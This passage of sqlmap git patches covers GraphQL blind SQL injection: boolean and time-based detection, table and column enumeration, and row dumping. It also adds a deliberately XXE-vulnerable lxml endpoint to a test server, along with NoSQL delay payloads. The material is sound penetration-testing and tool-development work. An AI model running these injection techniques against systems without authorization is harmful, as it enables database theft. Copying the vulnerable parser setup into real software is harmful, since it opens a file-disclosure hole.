stop scanning the remaining engines (all phases of THIS engine + # already ran, so its evidence is complete) instead of exhaustively testing all nine. + if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS: + break + if bestEngine and bestScore >= 3: # For engines with ambiguous delimiters (shared by multiple engines), # name a specific engine when: error fingerprint, distinguishing probe, diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 506e8f1027f..c8946978870 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -439,10 +439,10 @@ def test_sqlite_ordinal_and_length(self): self.assertEqual(d.length("x"), "LENGTH((x))") self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))") - def test_sqlite_rows_handles_nulls(self): + def test_sqlite_row_handles_nulls(self): d = gi.DIALECTS["SQLite"] - sql = d.rows(["name", "surname"], "users") - self.assertIn("GROUP_CONCAT", sql) + sql = d.row(["name", "surname"], "users", 3) + self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql) self.assertIn("FROM users", sql) @@ -529,7 +529,7 @@ def _mockOracle(target): tables=None, columns=None, length=lambda expr: "LEN(%s)" % expr, ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), - rows=None) + row=None) def _value(cond): pos = None @@ -581,20 +581,21 @@ def test_batched_empty(self): class TestGraphqlDumpTable(unittest.TestCase): - """Whole-table dump: column list + row scalar split back into a grid""" + """Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset""" def test_dump_table(self): + d = gi.DIALECTS["SQLite"] responses = { - "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('users'))": "id,name", + d.columns("users"): "id,name", + "(SELECT COUNT(*) FROM users)": "2", + d.row(["id", "name"], "users", 0): "1~~~null", + d.row(["id", "name"], "users", 1): "2~~~luther", } - rowScalar = "1%snull^^^2%sluther" % ("~~~", "~~~") # two rows, two columns def infer(expr, maxLen=gi.MAX_LENGTH): - if expr in responses: - return responses[expr] - return rowScalar # the GROUP_CONCAT row dump + return responses.get(expr) - columns, rows = gi._dumpTable(infer, gi.DIALECTS["SQLite"], "users") + columns, rows = gi._dumpTable(infer, d, "users") self.assertEqual(columns, ["id", "name"]) self.assertEqual(rows, [["1", "null"], ["2", "luther"]]) diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 239bc33f855..4e55ed674b6 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -1227,13 +1227,18 @@ class TestGraphqlDumpTable(unittest.TestCase): DIALECT = gql.DIALECTS["MySQL"] def test_dump_table_grid(self): - # infer() returns the column list for dialect.columns(table), then the concatenated - # rows scalar for dialect.rows(...). We map by which sub-expression is requested. - columns_expr = self.DIALECT.columns("users") - rows_value = gql.COL_SEP.join(("1", "alice")) + gql.ROW_SEP + gql.COL_SEP.join(("2", "bob")) + # infer() returns the column list for dialect.columns(table), the COUNT(*), then + # one COL_SEP-joined row scalar per ordinal offset (rows are dumped individually + # to avoid the back-end's GROUP_CONCAT truncation). + responses = { + self.DIALECT.columns("users"): "id,name", + "(SELECT COUNT(*) FROM users)": "2", + self.DIALECT.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), + self.DIALECT.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), + } def infer(expr, maxLen=gql.MAX_LENGTH): - return "id,name" if expr == columns_expr else rows_value + return responses.get(expr) columns, rows = gql._dumpTable(infer, self.DIALECT, "users") self.assertEqual(columns, ["id", "name"]) From f4c4025bdb45b430fd3530ca328a8fa86c723e06 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 12:51:25 +0200 Subject: [PATCH 4/8] Minor patch --- extra/vulnserver/vulnserver.py | 34 ++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 9 +++++---- lib/techniques/graphql/inject.py | 34 ++++++++++++++++++++++---------- 4 files changed, 64 insertions(+), 15 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 1a29dbb4fd0..e1a43886457 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -11,11 +11,13 @@ import base64 import json +import os import random import re import sqlite3 import string import sys +import tempfile import threading import time import traceback @@ -24,6 +26,18 @@ UNICODE_ENCODING = "utf-8" DEBUG = False +# A benign file with random content/name that the XXE endpoint can disclose via a file:// +# external entity, so '--xxe --file-read' has a target in the vuln-test. Randomized (never a +# static literal) to match sqlmap's below-the-radar convention, so nothing here becomes a +# blacklistable signature. In-process server, so callers read these same values. +XXE_READ_MARKER = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20)) +XXE_READ_FILE = os.path.join(tempfile.gettempdir(), "%s.txt" % "".join(random.choice(string.ascii_lowercase) for _ in range(12))) +try: + with open(XXE_READ_FILE, "w") as _f: + _f.write(XXE_READ_MARKER + "\n") +except (IOError, OSError): + pass + if PY3: from http.client import FORBIDDEN from http.client import INTERNAL_SERVER_ERROR @@ -945,6 +959,26 @@ def do_REQUEST(self): self.wfile.write(b"Request blocked: security policy violation (WAF)") return + if self.url == "/xxe": + self.send_response(OK) + self.send_header("Content-type", "application/xml; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + body = getattr(self, "data", "") or "" + try: + from lxml import etree + # VULNERABLE: a parser configured to load DTDs and resolve entities (incl. + # external file:// general entities) - the textbook XXE misconfiguration. + parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True) + root = etree.fromstring(body.encode(UNICODE_ENCODING), parser) + output = "%s" % "".join(root.itertext()) # reflects expanded entities + except Exception as ex: + output = "%s: %s" % (type(ex).__name__, ex) # parser diagnostic (error-based tier) + + self.wfile.write(output.encode(UNICODE_ENCODING, "ignore")) + return + if self.url == "/csrf": if self.params.get("csrf_token") == _csrf_token: self.url = "/" diff --git a/lib/core/settings.py b/lib/core/settings.py index aaa47cec6cc..7eb7576fb74 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.68" +VERSION = "1.10.7.69" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index cc0215baaf5..c983ebdc66e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -97,6 +97,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction + ("-u \"xxe\" --data=\"x\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), @@ -104,14 +105,14 @@ def vulnTest(tests=None, label="vuln"): ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) - # The vulnserver's XPath endpoint renders with lxml and its SSTI endpoint with jinja2; where those - # optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip + # The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where + # those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip # just those entries instead of failing the whole run - the rest of the suite is unaffected. try: __import__("lxml") except ImportError: - TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0]) - logger.warning("skipping the XPath vuln-test entry ('lxml' not available)") + TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0]) + logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)") try: __import__("jinja2") except ImportError: diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index 00e6abcf8c1..d5eb9c75046 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -709,12 +709,18 @@ def _detectBoolean(slot, endpoint): return None, None truePage, _ = _gqlSend(endpoint, trueQuery) + truePage2, _ = _gqlSend(endpoint, trueQuery) falsePage, _ = _gqlSend(endpoint, falseQuery) trueVal = _slotValue(truePage) + trueVal2 = _slotValue(truePage2) falseVal = _slotValue(falsePage) - if _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): + # Require the true response to be REPRODUCIBLE (trueVal ~= trueVal2) and to diverge + # from the false response. A single true-vs-false compare turns page jitter into a + # false positive; a reproducibility guard (like the other non-SQL engines' _boolean) + # rejects it, since a jittery page also fails to reproduce against itself. + if _ratio(trueVal, trueVal2) >= (1.0 - _MIN_RATIO_DIFF) and _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): return "boolean-based blind (string)", truePage return None, None @@ -731,21 +737,29 @@ def _detectTime(slot, endpoint): if not baseQuery: return None, None, None - start = time.time() - _gqlSend(endpoint, baseQuery) - baseline = time.time() - start + def elapsed(query): + start = time.time() + _gqlSend(endpoint, query) + return time.time() - start + baseline = elapsed(baseQuery) delay = conf.timeSec + cutoff = baseline + delay * 0.5 + for dbms, dialect in DIALECTS.items(): if not dialect.delay: continue - query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay))) - if not query: + sleepQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay))) + if not sleepQuery or elapsed(sleepQuery) <= cutoff: continue - start = time.time() - _gqlSend(endpoint, query) - if (time.time() - start) > baseline + delay * 0.5: - return "time-based blind", baseline + delay * 0.5, dbms + + # Confirm before attributing: the delay must REPRODUCE and a false-condition + # control must stay fast. A single sample turns jitter/a uniformly-slow endpoint + # into a false positive and can pin the wrong dialect; requiring the delay to + # track the condition rules both out. + controlQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=2", delay))) + if elapsed(sleepQuery) > cutoff and (controlQuery is None or elapsed(controlQuery) <= cutoff): + return "time-based blind", cutoff, dbms return None, None, None From b8fb645db0fe6bd238012698e174b0185937c6d4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 13:27:47 +0200 Subject: [PATCH 5/8] Minor patches --- lib/core/settings.py | 2 +- lib/techniques/graphql/inject.py | 153 +++++++++++++++++++++++-------- lib/techniques/nosql/inject.py | 17 +++- tests/test_graphql.py | 16 ++-- tests/test_techniques.py | 30 ++++-- 5 files changed, 159 insertions(+), 59 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7eb7576fb74..4a621142116 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.69" +VERSION = "1.10.7.70" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index d5eb9c75046..0ebe75bcd46 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -31,6 +31,7 @@ from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request from lib.utils.xrange import xrange +from thirdparty.six import unichr as _unichr # Improbable literal used to build always-true/never-match payloads. Randomized per run (like # NOSQL_SENTINEL) so it never becomes a static signature a WAF can pin a blocking rule on. @@ -47,9 +48,12 @@ # Maximum number of rows dumped per table (bounds a runaway blind dump) DUMP_MAX_ROWS = 1000 -# Printable-ASCII codepoint bounds for blind character inference +# Printable-ASCII codepoint bounds for blind character inference (the fast common path); +# a codepoint proven above CHAR_MAX is recovered over the full Unicode range instead of +# being silently mangled into a wrong printable char. CHAR_MIN = 0x20 CHAR_MAX = 0x7e +UNICODE_MAX = 0x10FFFF # Number of independent predicates packed into a single aliased GraphQL document (batched inference) BATCH_SIZE = 40 @@ -89,11 +93,23 @@ # established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy # elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition # in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/ -# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns` builds the per-table -# column list and `row(columns, table, offset)` a single row's cells joined by COL_SEP. +# `currentUser`/`currentDb` are generic enumeration scalars. Table and column NAMES are enumerated +# one at a time by ordinal position from a catalog source: `tableFrom`/`tableCol` and +# `columnFrom(table)`/`columnCol` give the FROM(+WHERE) and the name column, `paginate(col, offset)` +# adds the per-dialect single-row window. `row(columns, table, offset)` is one data row's cells +# joined by COL_SEP. Per-item enumeration avoids a GROUP_CONCAT/STRING_AGG scalar that the back-end +# would silently truncate (e.g. MySQL group_concat_max_len=1024). Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", "banner", "currentUser", "currentDb", - "tables", "columns", "row")) + "tableFrom", "tableCol", "columnFrom", "columnCol", "paginate", "row")) + + +def _limitOffset(col, offset): + return "ORDER BY %s LIMIT 1 OFFSET %d" % (col, offset) + + +def _offsetFetch(col, offset): + return "ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" % (col, offset) # A row is extracted one at a time by ordinal position (LIMIT/OFFSET). Concatenating @@ -129,19 +145,25 @@ def _mssqlRow(columns, table, offset): banner="SQLITE_VERSION()", currentUser=None, currentDb=None, - tables="(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%')", - columns=lambda table: "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('%s'))" % table, + tableFrom="FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'", + tableCol="name", + columnFrom=lambda table: "FROM pragma_table_info('%s')" % table, + columnCol="name", + paginate=_limitOffset, row=_sqliteRow)), ("Microsoft SQL Server", Dialect( fingerprint="@@VERSION LIKE '%Microsoft%'", length=lambda expr: "LEN((%s))" % expr, - ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + ordinal=lambda expr, pos: "UNICODE(SUBSTRING((%s),%d,1))" % (expr, pos), # ASCII() truncates non-ASCII to a byte delay=None, banner="@@VERSION", currentUser="SYSTEM_USER", currentDb="DB_NAME()", - tables="(SELECT STRING_AGG(name,',') FROM sys.tables)", - columns=lambda table: "(SELECT STRING_AGG(name,',') FROM sys.columns WHERE object_id=OBJECT_ID('%s'))" % table, + tableFrom="FROM sys.tables", + tableCol="name", + columnFrom=lambda table: "FROM sys.columns WHERE object_id=OBJECT_ID('%s')" % table, + columnCol="name", + paginate=_offsetFetch, row=_mssqlRow)), ("PostgreSQL", Dialect( fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", @@ -151,8 +173,11 @@ def _mssqlRow(columns, table, offset): banner="version()", currentUser="CURRENT_USER", currentDb="CURRENT_DATABASE()", - tables="(SELECT STRING_AGG(table_name,',') FROM information_schema.tables WHERE table_schema='public')", - columns=lambda table: "(SELECT STRING_AGG(column_name,',') FROM information_schema.columns WHERE table_name='%s')" % table, + tableFrom="FROM information_schema.tables WHERE table_schema='public'", + tableCol="table_name", + columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + columnCol="column_name", + paginate=_limitOffset, row=_pgsqlRow)), ("MySQL", Dialect( fingerprint="@@VERSION_COMMENT IS NOT NULL", @@ -162,8 +187,11 @@ def _mssqlRow(columns, table, offset): banner="VERSION()", currentUser="CURRENT_USER()", currentDb="DATABASE()", - tables="(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())", - columns=lambda table: "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='%s')" % table, + tableFrom="FROM information_schema.tables WHERE table_schema=DATABASE()", + tableCol="table_name", + columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + columnCol="column_name", + paginate=_limitOffset, row=_mysqlRow)), )) @@ -832,10 +860,39 @@ def _fingerprint(truth): # --- Blind inference -------------------------------------------------------- +def _safeChr(codepoint): + try: + return _unichr(codepoint) + except (ValueError, OverflowError): + return "?" + + +def _inferChar(truth, dialect, expr, pos): + """Recover one character's codepoint by bisection: the printable-ASCII range first + (fast, ~log2(95) probes), widening to the full Unicode range only when the codepoint + proves to be above it - so non-ASCII/UTF-8 data is recovered rather than silently + mangled into a wrong printable char. Control bytes below CHAR_MIN surface as '?'. + (MySQL's ASCII() yields the leading byte of a multibyte char, not its codepoint - a + documented limitation; the codepoint-returning dialects recover exactly.)""" + + ordExpr = dialect.ordinal(expr, pos) + if not truth("%s>=%d" % (ordExpr, CHAR_MIN)): + return "?" + hi = UNICODE_MAX if truth("%s>%d" % (ordExpr, CHAR_MAX)) else CHAR_MAX + low, high = CHAR_MIN, hi + while low < high: + mid = (low + high + 1) // 2 + if truth("%s>=%d" % (ordExpr, mid)): + low = mid + else: + high = mid - 1 + return _safeChr(low) + + def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): # Recover the string value of SQL expression `expr` one character at a time: - # binary-search the length, then bisect each character's codepoint over the - # printable-ASCII range (~log2(95) requests per character). + # binary-search the length, then each character via _inferChar (printable-fast, + # widening to full Unicode for non-ASCII). lengthExpr = dialect.length(expr) if not truth("%s>0" % lengthExpr): @@ -858,26 +915,17 @@ def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): value = "" for pos in xrange(1, length + 1): - ordExpr = dialect.ordinal(expr, pos) - if not truth("%s>=%d" % (ordExpr, CHAR_MIN)): - value += "?" # codepoint outside the printable-ASCII range - continue - low, high = CHAR_MIN, CHAR_MAX - while low < high: - mid = (low + high + 1) // 2 - if truth("%s>=%d" % (ordExpr, mid)): - low = mid - else: - high = mid - 1 - value += chr(low) + value += _inferChar(truth, dialect, expr, pos) return value -def _inferExprBatched(truthBatch, dialect, expr, maxLen=MAX_LENGTH): +def _inferExprBatched(truthBatch, truth, dialect, expr, maxLen=MAX_LENGTH): # Same recovery as _inferExpr, but every probe is independent and resolved in # parallel via aliased batching: the length is read from monotone >=N predicates - # and each character from its 7 independent bit predicates (ASCII & 2**b). An - # L-character value costs ceil(7*L / BATCH_SIZE) requests instead of ~7*L. + # and each character from its 7 independent bit predicates (ASCII & 2**b) plus one + # ">CHAR_MAX" flag. An L-character value costs ceil(8*L / BATCH_SIZE) requests. A + # flagged (non-ASCII) position is then recovered exactly via `truth` bisection + # (the 7 bits only carry the low byte), so non-ASCII data is not mangled. lengthExpr = dialect.length(expr) length = 0 @@ -896,19 +944,27 @@ def _inferExprBatched(truthBatch, dialect, expr, maxLen=MAX_LENGTH): for bit in xrange(7): conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) index.append((pos, bit)) + conditions.append("%s>%d" % (dialect.ordinal(expr, pos), CHAR_MAX)) + index.append((pos, "hi")) - codes = {} + codes, wide = {}, set() flat = [] for chunk in _chunks(conditions, BATCH_SIZE): flat.extend(truthBatch(chunk)) for (pos, bit), ok in zip(index, flat): - if ok: + if bit == "hi": + if ok: + wide.add(pos) + elif ok: codes[pos] = codes.get(pos, 0) | (1 << bit) value = "" for pos in xrange(1, length + 1): - code = codes.get(pos, 0) - value += chr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + if pos in wide: + value += _inferChar(truth, dialect, expr, pos) # non-ASCII: exact recovery + else: + code = codes.get(pos, 0) + value += _unichr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" return value @@ -917,17 +973,37 @@ def _inferrer(truth, truthBatch, dialect): # with a known true/false pair), else fall back to sequential bisection if truthBatch and truthBatch(["1=1", "1=2"]) == [True, False]: logger.info("using aliased query batching to accelerate blind extraction") - return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, dialect, expr, maxLen) + return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, truth, dialect, expr, maxLen) return lambda expr, maxLen=MAX_LENGTH: _inferExpr(truth, dialect, expr, maxLen) +def _catList(infer, dialect, col, fromClause): + # Enumerate a catalog name list (tables or a table's columns) one entry at a time by + # ordinal position, so a GROUP_CONCAT/STRING_AGG the back-end would silently truncate + # (e.g. MySQL group_concat_max_len=1024) can't drop names. + try: + count = int((infer("(SELECT COUNT(*) %s)" % fromClause) or "").strip()) + except ValueError: + count = 0 + + names = [] + for offset in xrange(min(count, DUMP_MAX_ROWS)): + name = infer("(SELECT %s %s %s)" % (col, fromClause, dialect.paginate(col, offset))) + if name: + names.append(name) + + if count > DUMP_MAX_ROWS: + logger.warning("catalog lists %d names; enumerating the first %d (DUMP_MAX_ROWS cap)" % (count, DUMP_MAX_ROWS)) + + return names + + def _dumpTable(infer, dialect, table): # Enumerate a table's columns, then recover its rows ONE AT A TIME by ordinal # position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by # the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row # extraction has no such cap. - columnsRaw = infer(dialect.columns(table)) - columns = [_ for _ in (columnsRaw or "").split(",") if _] + columns = _catList(infer, dialect, dialect.columnCol, dialect.columnFrom(table)) if not columns: return None @@ -1153,8 +1229,7 @@ def _enumerate(oracle): logger.info("%s: '%s'" % (label, value)) conf.dumper.singleString("GraphQL %s: %s" % (label, value)) - tablesRaw = infer(dialect.tables) if dialect.tables else None - tables = [_ for _ in (tablesRaw or "").split(",") if _] + tables = _catList(infer, dialect, dialect.tableCol, dialect.tableFrom) if not tables: logger.warning("no tables recovered through the oracle") return diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index c06782bd728..83909886cc7 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -246,8 +246,13 @@ def _detectError(place, parameter): return None for engine, tokens in ERROR_SIGNATURES: - if any(_ in broken.lower() for _ in tokens): - return engine + # the diagnostic must be injection-specific (token absent from the normal page) and + # must reproduce, so a dynamic page that merely happens to diverge and mention an + # engine name once is not mistaken for an error-based oracle + if any(_ in broken.lower() for _ in tokens) and not any(_ in normal.lower() for _ in tokens): + reBroken = _fetchValue(place, parameter, original + "'") + if any(_ in (reBroken or "").lower() for _ in tokens): + return engine return None @@ -303,10 +308,12 @@ def _whereDelay(condition): return "%s' || (function(d){if(%s){var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) def _detectWhere(place, parameter): - # an unconditional-delay payload must run ~conf.timeSec slower than the baseline while a - # non-delaying one stays fast (the latter guards against a uniformly slow endpoint) + # an unconditional-delay payload must run ~conf.timeSec slower than the baseline - and do so + # TWICE, to reject a one-off jitter spike - while a non-delaying one stays fast (the latter + # guards against a uniformly slow endpoint) + delayed = lambda: _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) threshold = _timed(lambda: _fetchValue(place, parameter, _originalValue(place, parameter) or "1")) + conf.timeSec * 0.5 - if threshold < conf.timeSec and _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) > threshold: + if threshold < conf.timeSec and delayed() > threshold and delayed() > threshold: if _timed(lambda: _fetchValue(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL)) <= threshold: return threshold return None diff --git a/tests/test_graphql.py b/tests/test_graphql.py index c8946978870..5564393a602 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -526,7 +526,7 @@ def _mockOracle(target): dialect = gi.Dialect( fingerprint="FP", delay=None, banner=None, currentUser=None, currentDb=None, - tables=None, columns=None, + tableFrom=None, tableCol=None, columnFrom=None, columnCol=None, paginate=None, length=lambda expr: "LEN(%s)" % expr, ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), row=None) @@ -572,12 +572,12 @@ def test_sequential_extraction(self): def test_batched_extraction_matches_sequential(self): for target in ("3.45.1", "users,creds", "luther~~~blisset^^^fluffy~~~bunny"): - dialect, _, truthBatch = _mockOracle(target) - self.assertEqual(gi._inferExprBatched(truthBatch, dialect, "EXPR"), target) + dialect, truth, truthBatch = _mockOracle(target) + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), target) def test_batched_empty(self): - dialect, _, truthBatch = _mockOracle("") - self.assertEqual(gi._inferExprBatched(truthBatch, dialect, "EXPR"), "") + dialect, truth, truthBatch = _mockOracle("") + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), "") class TestGraphqlDumpTable(unittest.TestCase): @@ -585,8 +585,12 @@ class TestGraphqlDumpTable(unittest.TestCase): def test_dump_table(self): d = gi.DIALECTS["SQLite"] + colFrom = d.columnFrom("users") responses = { - d.columns("users"): "id,name", + # columns are enumerated by ordinal position (COUNT + per-index), like rows + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", "(SELECT COUNT(*) FROM users)": "2", d.row(["id", "name"], "users", 0): "1~~~null", d.row(["id", "name"], "users", 1): "2~~~luther", diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 4e55ed674b6..966354a64d2 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -1186,6 +1186,11 @@ def test_infer_expr_recovers_with_symbols(self): truth = _make_sql_truth(secret, self.DIALECT) self.assertEqual(gql._inferExpr(truth, self.DIALECT, "CURRENT_USER()"), secret) + def test_infer_expr_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" # e-acute (U+00E9) + snowman (U+2603): beyond printable ASCII + truth = _make_sql_truth(secret, self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "note"), secret) + def test_infer_expr_empty_value(self): truth = _make_sql_truth("", self.DIALECT) self.assertEqual(gql._inferExpr(truth, self.DIALECT, "expr"), "") @@ -1194,12 +1199,18 @@ def test_infer_expr_batched_recovers_string(self): secret = "MariaDB" truth = _make_sql_truth(secret, self.DIALECT) truthBatch = lambda conds: [truth(c) for c in conds] - self.assertEqual(gql._inferExprBatched(truthBatch, self.DIALECT, "version()"), secret) + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "version()"), secret) + + def test_infer_expr_batched_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "note"), secret) def test_infer_expr_batched_empty(self): truth = _make_sql_truth("", self.DIALECT) truthBatch = lambda conds: [truth(c) for c in conds] - self.assertEqual(gql._inferExprBatched(truthBatch, self.DIALECT, "expr"), "") + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "expr"), "") def test_inferrer_picks_batched_when_supported(self): secret = "abc" @@ -1227,14 +1238,17 @@ class TestGraphqlDumpTable(unittest.TestCase): DIALECT = gql.DIALECTS["MySQL"] def test_dump_table_grid(self): - # infer() returns the column list for dialect.columns(table), the COUNT(*), then - # one COL_SEP-joined row scalar per ordinal offset (rows are dumped individually - # to avoid the back-end's GROUP_CONCAT truncation). + # Columns and rows are BOTH enumerated by ordinal position (COUNT + per-index), + # never a whole-list GROUP_CONCAT the back-end would silently truncate. + d = self.DIALECT + colFrom = d.columnFrom("users") responses = { - self.DIALECT.columns("users"): "id,name", + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", "(SELECT COUNT(*) FROM users)": "2", - self.DIALECT.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), - self.DIALECT.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), + d.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", 